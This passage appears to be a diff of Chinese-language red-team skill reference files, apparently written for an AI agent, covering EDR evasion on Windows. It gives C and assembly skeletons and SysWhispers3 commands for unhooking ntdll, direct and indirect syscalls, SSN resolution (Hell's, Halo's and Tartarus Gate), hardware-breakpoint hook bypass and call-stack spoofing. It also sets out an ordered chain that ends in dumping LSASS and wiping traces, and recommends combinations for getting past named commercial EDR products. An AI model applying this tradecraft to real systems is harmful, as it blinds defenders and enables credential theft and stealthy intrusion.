─── 准备好"安全的"内存权限切换通道
4. Unhook ntdll (Peruns Fart) 或 enable indirect syscall
─── 抹掉用户态 hook
5. Call stack spoof setup
─── 准备好之后所有 syscall 的伪栈
6. 实际 payload 执行 (注入 / 横向 / dump LSASS)
7. 清痕迹 (PowerShell history / Prefetch / 时间戳)
```
错误顺序示例:
```text
❌ 先 unhook ntdll → ETW-TI 立即上报 PROTECTVM + module modification → SOC 已经收到告警
❌ 先 dump LSASS → AMSI / ETW 都还没压 → 高置信 T1003.001 告警
✅ AMSI → ETW → unhook → spoof → payload
```
## 参考资料
- ETW Threat Intelligence Provider:<https://learn.microsoft.com/en-us/windows/win32/etw/event-tracing-portal>
- ETW Patching 综述:<https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/>
- AMSI Bypass 大全:<https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell>
- Sysmon olaf 配置:<https://github.com/olafhartong/sysmon-modular>
- PPID Spoofing:<https://blog.didierstevens.com/2017/03/20/>
- Ekko sleep mask:<https://github.com/Cracked5pider/Ekko>
- Foliage sleep obfuscation:<https://github.com/SecIdiot/FOLIAGE>
- MITRE T1562.002 (Disable Windows Event Logging):<https://attack.mitre.org/techniques/T1562/002/>
- MITRE T1562.006 (Indicator Blocking):<https://attack.mitre.org/techniques/T1562/006/>
- MITRE T1070 (Indicator Removal):<https://attack.mitre.org/techniques/T1070/>
## 路由回调
完成本三件套(hook 调研 → unhook → telemetry 致盲)后,回到 `SKILL.md` Step 5 在 sandbox 验证,
然后按 `attack-chain/` 的 initial access 与 lateral movement 章节进入下一阶段。

View File

@@ -0,0 +1,338 @@
# Unhook / 直接 / 间接 syscall 技术清单
> 仅限授权红队 / 对抗演练 / 自有产品测试,禁止用于未授权目标。
本文档汇总当前主流的"绕过用户态 hook"技术,从最经典的 unhook 到最新的 hardware breakpoint Blindside。
所有技术都对照 MITRE ATT&CK T1562.001 / T1027 / T1055,便于报告输出。
## 1. Peruns Fart / Fresh Ntdll from disk
### 原理
EDR 的 hook 全部位于 **当前进程内存中的 ntdll.dll**。磁盘上 `C:\Windows\System32\ntdll.dll` 是干净的。
所以只要把磁盘 ntdll 重新映射进当前进程并覆盖内存中的 `.text` 段,hook 就被擦掉。
```text
当前进程 ntdll.dll (RWX)
┌─────────────────────────┐
│ .text (含 EDR hook jmp) │ ◄── 用磁盘干净 .text 覆盖
└─────────────────────────┘
▲
│ NtMapViewOfSection(disk_ntdll)
│
磁盘 C:\Windows\System32\ntdll.dll ← 干净
```
### 实现要点
```c
// 步骤:
// 1. CreateFileW("\\Device\\HarddiskVolumeX\\Windows\\System32\\ntdll.dll") // 用原生路径绕监控
// 2. NtCreateSection (SEC_IMAGE)
// 3. NtMapViewOfSection 到一个新地址
// 4. 找新地址 .text 段
// 5. NtProtectVirtualMemory 把当前 ntdll .text 改 RW
// 6. memcpy 覆盖
// 7. NtProtectVirtualMemory 还原为 RX
```
### 注意
- `NtProtectVirtualMemory` 本身可能就是 hook 的 → 链式问题。解决:先用 **直接 syscall** 调 `NtProtectVirtualMemory`
- 现代 EDR 已经监控 `NtProtectVirtualMemory` 对 ntdll 内存的 W 操作,需要配合 ETW patch
- Peruns Fart 在 ETW-TI 下会留下事件 `KERNEL_MODULE_LOAD`、`PROTECTVM` — 一定要先压 ETW
## 2. 直接 syscall (Direct Syscall)
### 原理
不调用 ntdll 的导出函数,自己写 syscall stub:
```asm
NtAllocateVirtualMemory:
mov r10, rcx
mov eax, 0x18 ; SSN (Win11 24H2 上的值,每个版本不同)
syscall
ret
```
`syscall` 指令直接从用户态跳到内核 SSDT,跳过任何用户态 hook。
### SysWhispers3 用法
```powershell
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
python3 syswhispers.py --preset all --action edit -o syscalls
```
输出:
```text
syscalls.h - 函数声明
syscalls.c - C 胶水代码
syscalls.asm - MASM 汇编 stub
syscallsstubs.std.x64.asm - 标准直接 syscall
```
在 Visual Studio 中:
```text
1. 把 .asm 加入项目,启用 MASM (Custom Build Tool)
2. include syscalls.h
3. 调用 Sw3NtAllocateVirtualMemory(...) 替换原 NtAllocateVirtualMemory
```
### 最小直接 syscall 调 NtCreateFile(C 代码骨架)
```c
// syscalls.asm(节选)
// Sw3NtCreateFile PROC
// mov [rsp +8], rcx
// mov [rsp+16], rdx
// mov [rsp+24], r8
// mov [rsp+32], r9
// sub rsp, 28h
// mov ecx, 0x55 ; function hash (动态解析 SSN)
// call Sw3GetSyscallNumber
// add rsp, 28h
// mov rcx, [rsp+8]
// mov rdx, [rsp+16]
// mov r8, [rsp+24]
// mov r9, [rsp+32]
// mov r10, rcx
// syscall
// ret
// Sw3NtCreateFile ENDP
#include <windows.h>
#include "syscalls.h"
int main(void) {
HANDLE hFile = NULL;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING uName;
IO_STATUS_BLOCK iosb;
WCHAR path[] = L"\\??\\C:\\Windows\\Temp\\edr_test.bin";
uName.Buffer = path;
uName.Length = (USHORT)(wcslen(path) * sizeof(WCHAR));
uName.MaximumLength = uName.Length + sizeof(WCHAR);
InitializeObjectAttributes(&oa, &uName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS st = Sw3NtCreateFile(
&hFile,
FILE_GENERIC_WRITE,
&oa,
&iosb,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0
);
if (st >= 0) {
// 写一些字节略
Sw3NtClose(hFile);
return 0;
}
return (int)st;
}
```
### 缺点
- syscall 指令位于 implant 自己的 `.text` 段(非 ntdll 内)→ kernel-mode telemetry 容易看出 "syscall from non-ntdll address"
- 这就是 indirect syscall 出现的原因
## 3. 间接 syscall (Indirect Syscall)
### 原理
syscall 指令仍然来自 ntdll.dll(合法地址),只是 SSN 和返回地址我们自己控制:
```text
implant 代码:
mov r10, rcx
mov eax, <SSN>
jmp [<ntdll 中某个 syscall;ret gadget 的地址>] ; 不是 syscall 在 implant 里
```
跳到的 gadget 通常就是 `Nt*` 函数末尾的 `syscall; ret` 两字节序列。
kernel-mode ETW provider 看到的 RIP 是 ntdll 地址,符合合法行为模式。
### SysWhispers3 indirect 模式
```powershell
python3 syswhispers.py --preset all --action edit --mode jumper -o syscalls
# --mode jumper => indirect syscall
# --mode jumper_randomized => 随机化 jmp 目标减少签名
```
生成的 stub:
```asm
Sw3NtAllocateVirtualMemory PROC
mov [rsp+8], rcx
...
mov ecx, 0x18 ; function hash
call Sw3GetSyscallNumber ; 返回 SSN -> eax
call Sw3GetSyscallAddress ; 返回 ntdll 中 syscall;ret 地址 -> rbx
...
mov r10, rcx
jmp rbx ; 跳到 ntdll 内合法 syscall 指令
Sw3NtAllocateVirtualMemory ENDP
```
## 4. Hell's Gate / Halo's Gate / Tartarus Gate
三者解决"SSN 动态解析"的演进。
### Hell's Gate
- 假设 ntdll 未被 hook
- 在 implant 启动时遍历 ntdll 的 `Nt*` 导出,从前 4 字节 `mov eax, <SSN>` 提取 SSN
- 优点:不写死 SSN,跨 Windows 版本通用
- 缺点:如果 ntdll 已经被 hook(第一字节变成 jmp),提取失败
### Halo's Gate
- 修复 Hell's Gate 的 hook 问题
- 如果发现某个函数被 hook(不是标准 prologue),就**向上 / 向下扫描 ±N 个函数**
- 利用 ntdll 中 `Nt*` 函数 SSN 是连续递增的事实,从邻居反推被 hook 函数的 SSN
```text
正常情况:
NtAllocateVirtualMemory SSN = 0x18
NtQueryInformationProcess SSN = 0x19
NtProtectVirtualMemory SSN = 0x50
如果 NtAllocateVirtualMemory 被 hook 看不到 SSN,看邻居:
上一个未 hook 的导出 SSN = 0x17
下一个未 hook 的导出 SSN = 0x19
→ NtAllocateVirtualMemory SSN = 0x18
```
### Tartarus Gate
- 进一步处理 **Hook 改了 SSN 但保留了 syscall 指令** 的高级 hook
- 同时校验 SSN 与 syscall;ret gadget 地址
- 三者结合提供最稳定的 indirect syscall 基础
### 参考实现位置(在自举的 git clone 后)
```text
Hell's Gate: am0nsec/HellsGate
Halo's Gate: am0nsec/HellsGate (含 fallback 逻辑) / SafeBreach-Labs/HalosGate-PoC
Tartarus Gate: trickster0/TartarusGate
SysWhispers3: 集成了三者
```
## 5. Hardware Breakpoint Blindside
### 原理
利用调试寄存器 `DR0-DR3` 在 EDR hook trampoline 的入口设硬件断点;
设置 VEH (Vectored Exception Handler) 在断点命中时把 RIP **直接改到 hook trampoline 后面**,
跳过 EDR 的检测代码,落到 ntdll 真正的 syscall 段。
### 优势
- 不需要写 ntdll 内存(无 `NtProtectVirtualMemory` 告警)
- 不需要 unhook(hook 还在那,只是被绕过)
- ETW-TI 看不到内存修改
### 实现骨架
```c
// 1. AddVectoredExceptionHandler
// 2. 在每个被 hook 函数入口设 DR0..DR3 (最多 4 个,配合 single-step rotate)
// 3. SetThreadContext(thread, &ctx) 写 DRx
// 4. 当 EDR hook trampoline 触发硬件断点 -> VEH 接管
// 5. VEH 把 EXCEPTION_POINTERS->ContextRecord->Rip 改到 ntdll 的合法 syscall;ret
// 6. ContinueExecution
LONG CALLBACK Blindside(EXCEPTION_POINTERS* ep) {
if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
DWORD64 rip = ep->ContextRecord->Rip;
if (rip == g_hookedNtAllocVM) {
// SSN 已经在 eax;R10 = RCX;跳到 ntdll 的 syscall;ret
ep->ContextRecord->Rip = (DWORD64)g_syscallGadget;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
```
### 限制
- 每个线程独立 DRx → 多线程要分别设
- 一些 EDR 已经 hook `NtSetContextThread` / `NtGetContextThread`,要先用前面的技术绕过它
- Win11 22H2+ 引入 HVCI / 一些反调试缓解可能干扰
## 6. Call Stack Spoofing
### 问题
现代 EDR 在 `NtAllocateVirtualMemory` / `NtCreateThreadEx` 等 syscall 内核入口处会调用 `RtlCaptureStackBackTrace`,
拿到完整调用栈上报。implant 的栈会出现 **non-image-backed memory** 帧 → 高置信告警。
### 方案 A:CallStackSpoofer(William Burgess)
实现思路:
1. 在 syscall 前 swap 当前线程栈 → 一个伪造的合法栈
2. 伪造的栈帧填充诸如 `kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart` 这种全合法返回链
3. syscall 返回后 swap 回真实栈
### 方案 B:SilentMoonwalk
更激进,使用 desynchronized stack:
```text
执行流程:
implant 代码 → 自定义 trampoline (修改 RSP / RBP / 栈内容)
↓
syscall (RtlCaptureStackBackTrace 看到伪造栈)
↓
trampoline 还原 → 继续 implant 代码
```
关键是 unwinding:让 `RtlVirtualUnwind` 走入伪造的 `RUNTIME_FUNCTION` / `UNWIND_INFO` 链。
### 实战 OPSEC 建议
- call stack spoof + indirect syscall + ETW patch 是当前过 CrowdStrike / SentinelOne 比较稳的组合
- 在 sleep 阶段也要 spoof,单纯执行时 spoof 是不够的(EDR 会定期采样)
## 7. 技术选型对照表
| 技术 | 对抗 | 复杂度 | 当前有效性 | ATT&CK |
|------|------|--------|------------|--------|
| Peruns Fart | 用户态 hook | 低 | 中(易被 ETW 抓) | T1562.001 |
| Direct syscall (SysWhispers) | 用户态 hook | 低 | 低-中(kernel 看 RIP 在 implant) | T1106 / T1562.001 |
| Indirect syscall (jumper) | 用户态 hook + kernel RIP 检测 | 中 | 中-高 | T1106 |
| Hell's / Halo's / Tartarus | SSN 解析 | 中 | 高(基础设施) | T1027 |
| HWBP Blindside | hook + 无写操作 | 高 | 高 | T1562.001 |
| CallStackSpoofer / SilentMoonwalk | call stack telemetry | 高 | 高 | T1564 |
实战推荐链:**Halo's Gate + indirect syscall + CallStackSpoofer + ETW patch**。
## 参考资料
- SysWhispers3:<https://github.com/klezVirus/SysWhispers3>
- Hell's Gate / Halo's Gate POC:<https://github.com/am0nsec/HellsGate>、<https://github.com/SafeBreach-Labs/HalosGate-PoC>
- Tartarus Gate:<https://github.com/trickster0/TartarusGate>
- CallStackSpoofer:<https://github.com/WithSecureLabs/CallStackSpoofer>
- SilentMoonwalk:<https://github.com/klezVirus/SilentMoonwalk>
- Blindside(hardware breakpoint):<https://www.cyberark.com/resources/threat-research-blog/blindside-a-new-technique-for-edr-evasion-with-hardware-breakpoints>
- MITRE T1562.001:<https://attack.mitre.org/techniques/T1562/001/>
## 路由回调
unhook 仅是绕过的一半,另一半是 telemetry 失明:进入 `references/telemetry-blinding.md`。